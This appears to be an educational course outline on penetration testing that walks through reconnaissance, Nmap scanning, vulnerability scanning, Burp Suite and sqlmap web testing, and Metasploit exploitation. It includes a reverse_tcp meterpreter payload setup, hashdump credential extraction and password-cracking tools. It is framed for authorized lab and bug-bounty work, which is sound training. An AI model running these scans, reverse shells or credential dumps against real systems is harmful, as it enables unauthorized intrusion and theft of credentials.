Complete Practical Cybersecurity Course
Focus: Information Gathering → Network Scanning → Vulnerability Assessment → Penetration Testing
(Tools-heavy, Linux-centric, with deep coverage of Nmap, Burp Suite, Metasploit and other high-impact tools)
Course Philosophy & Rules
- Everything is taught for authorized, ethical use only (labs, your own systems, bug-bounty programs with permission, or CTF platforms). Unauthorized testing is illegal.
- Preferred environment: Kali Linux (or Parrot OS). All major tools come pre-installed or are one
apt installaway. - Hands-on first. Theory is kept short and immediately applied.
Module 0 – Setup & Essential Linux Foundation (1–2 days)
Must-know Linux commands (use these constantly):
1# Navigation & file ops 2pwd, ls -la, cd, mkdir, cp, mv, rm -rf, find / -name "*.conf" 2>/dev/null 3 4# Networking basics 5ifconfig / ip a, ip r, route -n, netstat -tulnp, ss -tulnp 6 7# Process & privilege 8ps aux, top/htop, sudo -l, whoami, id 9 10# Text search & extraction 11grep -R "password" ., cat, less, head, tail, awk, sed, cut 12 13# Networking utilities 14ping, traceroute/tracert, dig, host, nslookup, whois 15 16# Download & transfer 17wget, curl, scp, nc (netcat – the Swiss army knife) 18 19# Package & service 20apt update && apt install <tool>, systemctl status/start/stop
Power tips:
- Pipe everything:
nmap ... | tee scan.txt - Background jobs:
command &+jobs+fg - History search:
Ctrl+R - Become root when needed:
sudo suorsudo -i
Install extra power tools if missing:
1sudo apt update 2sudo apt install -y nmap masscan nikto sqlmap gobuster dirb dirbuster whatweb wpscan hydra john hashcat wireshark tshark metasploit-framework burpsuite
Module 1 – Information Gathering / Reconnaissance
Passive tools (stealthy):
whois domain.comdig domain.com ANYtheHarvester -d target.com -b allamass enum -d target.comsubfinder,assetfinder,findomain- Shodan, Censys, Google dorks, GitHub dorking
Active tools:
whatweb target.comwafw00f target.comcurl -I https://target.com
Always save results in an organized folder structure.
Module 2 – Network Scanning & Enumeration (Core Module)
Master Nmap (the most important tool in this course):
1# Host discovery 2nmap -sn 192.168.1.0/24 3 4# Full port scan + version detection + scripts 5nmap -sS -sV -sC -O -p- -T4 target -oA fullscan 6 7# Vulnerability scripts 8nmap --script=vuln target 9nmap --script=http-enum,ssl-enum-ciphers -p 80,443 target
Speed boosters:
masscan -p1-65535 --rate=10000 192.168.1.0/24rustscan -a target -- -sV -sC
Service enumeration:
- SMB:
enum4linux -a,smbmap,crackmapexec - SNMP:
snmpwalk - DNS:
dnsenum
Module 3 – Vulnerability Assessment
High-impact tools:
- Nmap NSE (
--script=vuln) nikto -h https://target- Nuclei (highly recommended):
nuclei -u https://target -t cves/ -t vulnerabilities/ searchsploit apache 2.4.49- WPScan, OpenVAS/Nessus
Always manually verify automated findings.
Module 4 – Web Application Testing with Burp Suite
Burp Suite is the king of web app testing.
Core workflow:
- Set browser proxy to
127.0.0.1:8080and install Burp CA certificate. - Browse the target → build Site map.
- Use Proxy to intercept and modify requests.
- Send interesting requests to Repeater for manual testing.
- Use Intruder for fuzzing and brute-forcing.
- Install powerful extensions: Autorize, Param Miner, Turbo Intruder, Logger++.
Supporting tools:
gobuster dir -u https://target -w /usr/share/wordlists/dirb/common.txtffuf -u https://target/FUZZ -w wordlist.txtsqlmap -u "https://target/page?id=1" --batch --dbs
Module 5 – Exploitation with Metasploit
1msfconsole 2search type:exploit platform:linux apache 3use exploit/multi/http/... 4set RHOSTS target 5set PAYLOAD linux/x64/meterpreter/reverse_tcp 6set LHOST your-ip 7exploit
After getting a session:
sysinfo,getuid,hashdump,shell,migrate
Other powerful tools:
msfvenomfor custom payloads- LinPEAS / WinPEAS for privilege escalation
- Impacket suite + CrackMapExec for lateral movement
- Hashcat & John the Ripper for password cracking
Module 6 – Extra High-Value Skills
- Wireless: Aircrack-ng suite, Wifite, Bettercap
- Traffic analysis: Wireshark / tshark
- Active Directory attacks (Impacket, BloodHound, Rubeus)
- Reporting: Always document findings with CVSS scores, proof, and clear remediation steps.
Recommended Practice Platforms
- TryHackMe
- Hack The Box
- PortSwigger Web Security Academy (best free Burp training)
- VulnHub & local labs (Metasploitable, DVWA, Juice Shop)
Highest-ROI Tools to Master First
- Nmap – Network scanning foundation
- Burp Suite – Web application testing
- Metasploit – Exploitation & post-exploitation
- Nuclei – Modern vulnerability scanning
- Gobuster / FFuf – Content discovery
- sqlmap – SQL injection
- Impacket + CrackMapExec – Windows/AD attacks
- Hashcat – Password cracking
Final Note:
Start with Module 0 and Nmap mastery. Practice every command in a safe lab environment before touching any real target. Consistency and hands-on practice will take you further than any tool list.
Want a deeper dive into any module (advanced Nmap scripts, Burp Intruder payloads, Metasploit post-exploitation, or Active Directory attacks)? Drop a comment below!